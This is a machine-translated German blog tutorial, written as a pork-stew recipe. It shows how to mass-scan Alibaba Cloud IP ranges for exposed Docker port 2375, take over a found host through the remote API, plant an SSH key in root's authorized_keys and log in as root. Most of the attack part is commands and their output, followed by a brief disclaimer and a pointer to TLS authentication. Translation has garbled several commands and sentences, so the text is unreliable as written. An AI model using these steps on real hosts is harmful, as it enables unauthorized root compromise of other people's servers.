Ich glaube, dass Studenten, die etwas über die Docker-Remote-API gelernt haben, mit Port 2375 vertraut sind. 2375 ist der Standardport für die Docker-Fernsteuerung. Über diesen Port können Sie den Remote-Docker-Daemon direkt bedienen. Wenn der $HOST-Host den Daemon im docker -H tcp://$HOST:2375 ps Okay, sprechen wir über die „Invasion“. Wie dringt man über diesen Port in den Hostcomputer ein? Dabei sollten einige Punkte ausschlaggebend sein:
Durch die Kombination der drei oben genannten Punkte haben wir grundsätzlich die Voraussetzungen für den Angriff auf den Docker-Host geschaffen. Das klingt vielleicht etwas weit hergeholt, deshalb nehmen wir ein neues Beispiel: (Erlauben Sie mir bitte, den Vorgang anhand eines Gerichts durchzugehen, das ich kürzlich gelernt habe ╮( ̄▽ ̄)╭ ) Geheim geschmortes Schweinefleisch (Docker-Version) Materialien: Ganze Blöcke von „5-Blumen“-IP-Segmenten, je dicker, desto besser (je mehr Neulinge, desto besser) Zutaten: nmap, Docker Schritt 1: Port 2375 scannen Wie scannen? Ich habe mich für Wohin fegen? Das von mir ausgewählte Ziel war das IP-Segment von Aliyun, und Baidu fand heraus: 42.96.128.0/17 Alibaba (Beijing) Technology Co., Ltd. China 42.120.0.0/16 Aliyun Computing Co., LTD China 42.121.0.0/16 Aliyun Computing Co., LTD China 42.156.128.0/17 Aliyun Computing Co., LTD China 110.75.0.0/16 Asien-Pazifik-Netzwerk Informationszentrum China 110.76.0.0/19 Ali Technology Co., Ltd. China 110.76.32.0/20 Aliyun Computing Co., LTD China 110.173.192.0/20 HiChina Web Solutions (Beijing) Limited China 110.173.208.0/20 HiChina Web Solutions (Beijing) Limited China 112.124.0.0/16 Hangzhou Alibaba Werbung GmbH China 112.127.0.0/16 Hangzhou Alibaba Werbung GmbH China 114.215.0.0/16 Hangzhou Alibaba Werbung GmbH China 115.28.0.0/16 HiChina Web Solutions (Beijing) Limited China 115.29.0.0/16 HiChina Web Solutions (Beijing) Limited China 115.124.16.0/22 Hangzhou Alibaba Werbung Co., Ltd. China 115.124.20.0/22 Hangzhou Alibaba Werbung Co., Ltd. China 115.124.24.0/21 Hangzhou Alibaba Werbung GmbH China 119.38.208.0/21 Hangzhou Alibaba Werbung GmbH China 119.38.216.0/21 Hangzhou Alibaba Werbung GmbH China 119.42.224.0/20 Alibaba (China) Technologie Co., Ltd. China 119.42.242.0/23 Hangzhou Alibaba Werbung GmbH China 119.42.244.0/22 Hangzhou Alibaba Werbung Co., Ltd. China 121.0.16.0/21 Hangzhou Alibaba Werbung GmbH China 121.0.24.0/22 Hangzhou Alibaba Werbung Co., Ltd. China 121.0.28.0/22 Hangzhou Alibaba Werbung Co., Ltd. China 121.196.0.0/16 Hangzhou Alibaba Werbung GmbH China 121.197.0.0/16 Hangzhou Alibaba Werbegesellschaft, Ltd. China 121.198.0.0/16 Hangzhou Alibaba Werbung GmbH China 121.199.0.0/16 Hangzhou Alibaba Werbung GmbH China 140.205.0.0/16 Aliyun Computing Co., LTD China 203.209.250.0/23 Hangzhou Alibaba Werbung GmbH China 218.244.128.0/19 Hangzhou Alibaba Werbung GmbH China 223.4.0.0/16 Hangzhou Alibaba Werbung Co., Ltd. China 223.5.0.0/16 Hangzhou Alibaba Werbung Co., Ltd. China 223.5.5.0/24 Hangzhou Alibaba Werbung GmbH China 223.6.0.0/16 Hangzhou Alibaba Werbung GmbH China 223.6.6.0/24 Hangzhou Alibaba Werbung GmbH China 223.7.0.0/16 Hangzhou Alibaba Werbung Co., Ltd. Ich erstelle keine IPs, ich bin nur ein Portier für Baidu. Fragen Sie mich nicht, woher diese IPs kommen, ich möchte es auch wissen~ >.< Speichern Sie den obigen IP-Inhalt in einer Datei, beispielsweise aliyun.list Scannen starten: Katze aliyun.list| awk '{print $1}' | xargs -n 1 -I {} nmap -sT -p2375 {} --öffnen # Erklären Sie kurz den Befehl: # awk filtert die erste Spalte der IP-Segmente heraus. # xargs sendet die gefilterten IPs nacheinander an nmap. -I {} bedeutet, dass {} verwendet werden soll, um die übertragenen Parameter zu ersetzen. # ... # Start von Nmap 7.01 ( https://nmap.org ) am 05.06.2016 09:57 CST # Nmap-Scanbericht für 42.96.MOSAIC.MOSAIC # Host ist aktiv (0,070 s Latenz). # HAFENSTAATSDIENST # 2375/tcp Docker öffnen # ... In weniger als zwei Minuten wurde das erste Stück Schritt 2: Testen Sie die Direktsteuerung des 2375 docker -H tcp://42.96.MOSAIC.MOSAIC:2375 ps # CONTAINER ID BILD BEFEHL ERSTELLT STATUS PORTS # 73aa690e7c92 imdjh/owncloud-with-ocdownloader "/entrypoint.sh" vor 9 Tagen Seit 3 Tagen aktiv 0.0.0.0:9009->80 # f57c56af0e29 rethinkdb:2.3.2 "rethinkdb --bind all" vor 9 Tagen Seit 3 Tagen aktiv 8080/tcp, 28015/ # 37c1401db593 gaomd/ikev2-vpn-server:0.3.0 "/bin/sh -c /usr/bin/" vor 10 Tagen Aktiv seit 3 Tagen 0.0.0.0:500->500 # af7338a5426d nginx:1.9-alpine "nginx -g 'daemon off" vor 3 Wochen Seit 3 Tagen aktiv 443/tcp, 0.0.0.0 # ... Der Besitzer dieses Servers ist wirklich kooperativ (⊙ο⊙). Wir können den Inhalt direkt über PS sehen, was bedeutet, dass die 2375 dieses Hosts keine SSL-Verifizierung haben, was grundsätzlich die Einbruchsanforderungen erfüllt. Die „fünf Blumen“ waschen, abschneiden und für den Topf vorbereiten~ Schritt 3: Remote-Start Ihres eigenen Containers Was können Sie tun, nachdem Sie die Kontrolle über Docker übernommen haben? Ich habe es bekommen und es war großartig~ # Bilder Schauen Sie sich die vorhandenen lokalen Bilder an# docker -H tcp://42.96.MOSAIC.MOSAIC:2375 Bilder # ... # swarm latest 47dc182ea74b vor 4 Wochen 19,32 MB # jwilder/nginx-proxy latest 203b20631e41 vor 4 Wochen 255,6 MB # Ubuntu aktuellste c5f1cf30c96b vor 4 Wochen 120,8 MB # Werft/Schiffswerft neueste ba426f0944bc vor 5 Wochen 58,92 MB # ... Einige Ausgaben werden ausgelassen. Es gibt ziemlich viele Bilder. Wählen wir Ubuntu.
Angesichts dieses Schritts glaube ich, dass Studenten, die über Kenntnisse in SSH verfügen, verstehen sollten Schritt 4: SSH-Pub-Key-Injektion Sehen Sie sich im gerade gestarteten Container zunächst das Feld PermitRootLogin in Generieren Sie dann ein neues Paar Pub-Schlüssel auf Ihrem Computer (wenn Sie bereits einen SSH-Schlüssel haben, wird empfohlen, einen neuen zu generieren. Verwenden Sie nicht den SSH-Pub-Schlüssel, den Sie täglich verwenden). # Verwenden Sie ssh-keygen, um ssh-keygen -t rsa -C "[email protected]" zu generieren. # Achten Sie nach der Ausführung des Befehls darauf, dass Sie Ihren eigenen SSH-Schlüssel nicht überschreiben, indem Sie die Eingabeaufforderung „Geben Sie die Datei ein, in der der Schlüssel gespeichert werden soll“ lesen. Sie können /tmp/id_rsa wählen. # Für andere Eingabeaufforderungen geben Sie einfach ein Fahren Sie fort, fügen Sie den SSH-Pub-Schlüssel ein und kehren Sie zum Container zurück, dessen Ausführung gerade gestartet wurde Katze >> /tmp/root/.ssh/authorized_keys <<EOF >ssh-rsa AAA.... # Fügen Sie hier die Datei /tmp/id_rsa.pub ein, die Sie gerade auf Ihrem Computer generiert haben >Ende # Wenn das Verzeichnis /tmp/root/.ssh nicht existiert, erstellen Sie es direkt Sternanis, Lorbeerblätter, helle Sojasauce, dunkle Sojasauce und Essig hinzufügen, bei mittlerer Hitze kochen und zum Servieren vorbereiten. Schritt 5: Beim Server anmelden # ssh -i Geben Sie den Schlüssel zum Anmelden an ssh -i /tmp/id_rsa [email protected] # Willkommen bei Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic x86_64) # # * Dokumentation: https://help.ubuntu.com/ # # Willkommen beim aliyun Elastic Compute Service! # # Letzte Anmeldung: Fr 3. Jun 01:38:07 2016 von 120.85.MOSAIC.MOSAIC # manpath: Das Gebietsschema kann nicht festgelegt werden. Stellen Sie sicher, dass $LC_* und $LANG korrekt sind. # root@iZ28p9b7e***:~# # ... Bei starker Hitze kochen, bis die Soße eindickt, dann vom Herd nehmen! Feierliche Erklärung Das obige Tutorial dient nur zu Kommunikations- und Lernzwecken. Wenn Sie versehentlich den verfügbaren Port 2375 entdecken, hoffe ich, dass Sie die Nutzung beenden und ihn nicht für andere Zwecke verwenden oder andere Eindringlingsschwachstellen finden, damit Sie mit allen kommunizieren und lernen können. Ist 2375 eine Docker-Schwachstelle? NEIN! 2375 direkt dem öffentlichen Internet zugänglich zu machen, ist reine Gewohnheitssache oder Faulheit des Benutzers . 2375 kann für bequeme Tests in einem relativ sicheren internen Netzwerk verwendet werden und ist nicht für den Einsatz in einer Produktionsumgebung geeignet. Im ersten Dokument der offiziellen Docker-Website, Quick Start, gibt es einen Satz, der besagt:
Warnung: Wenn der Daemon direkt einem TCP-Port ausgesetzt ist, kann es für einen Nicht-Root-Benutzer möglich sein, Root-Rechte auf dem Hostcomputer zu erlangen. Tatsächlich ist dies der Grund, warum der oben genannte Server angegriffen wurde. So können Sie es verhindern Die Frage ist also: Was sollten Sie tun, wenn Sie Remote API verwenden möchten, aber kein Hackerrisiko eingehen wollen? Die offizielle Docker-Dokumentation stellt eine Methode zur Verwendung der Remote-API durch CA-Authentifizierung vor. Weitere Einzelheiten finden Sie unter: Schützen Sie den Docker-Daemon-Socket (Ich werde einen weiteren Blog schreiben, wenn ich es verstehe, aber ich werde einfach hier einen Link dazu setzen, OO) Der Konfigurationsprozess ist relativ einfach. Hier ist ein Bild, das den Effekt nach der Konfiguration von SSL zeigt: Dies ist das Ende dieses Artikels über das Problem, dass Docker Port 2375 freigibt und Serverangriffe verursacht, sowie die Lösung. Weitere verwandte Inhalte zum Thema „Docker Port 2375 freigeben“ finden Sie in früheren Artikeln auf 123WORDPRESS.COM oder in den folgenden verwandten Artikeln. Ich hoffe, dass jeder 123WORDPRESS.COM in Zukunft unterstützen wird! Das könnte Sie auch interessieren:
|
<<: Lassen Sie uns ausführlich über den Symboldatentyp in ES6 sprechen
Bei der Verwendung von Nginx als Webserver sind m...
Heute werde ich mit Ihnen über das Löschen von Fl...
Problem 1: Baidu Map verwendet gekachelte Bilder ...
Unter Ubuntu kommt es häufig vor, dass sich das T...
Finden Sie das Problem Ich habe kürzlich den Spei...
Ziehen Sie das Bild root@EricZhou-MateBookProX: D...
Verwandte Wissenspunkte Übergeben von Werten von ...
So erhalten Sie SQL-Anweisungen mit Leistungsprob...
In Tomcat ist JSP nicht verstümmelt, aber HTML-Ch...
IIS7 Laden Sie das HTTP Rewrite-Modul von der off...
Da Springboot über einen integrierten Tomcat-Serv...
Hintergrund Indizes sind ein zweischneidiges Schw...
Name Geben Sie einen Namen für das Tag an. Format...
1. Einleitung Nach dem Start von MySQL wird Buffe...
Der erzielte EffektImplementierungscode html <...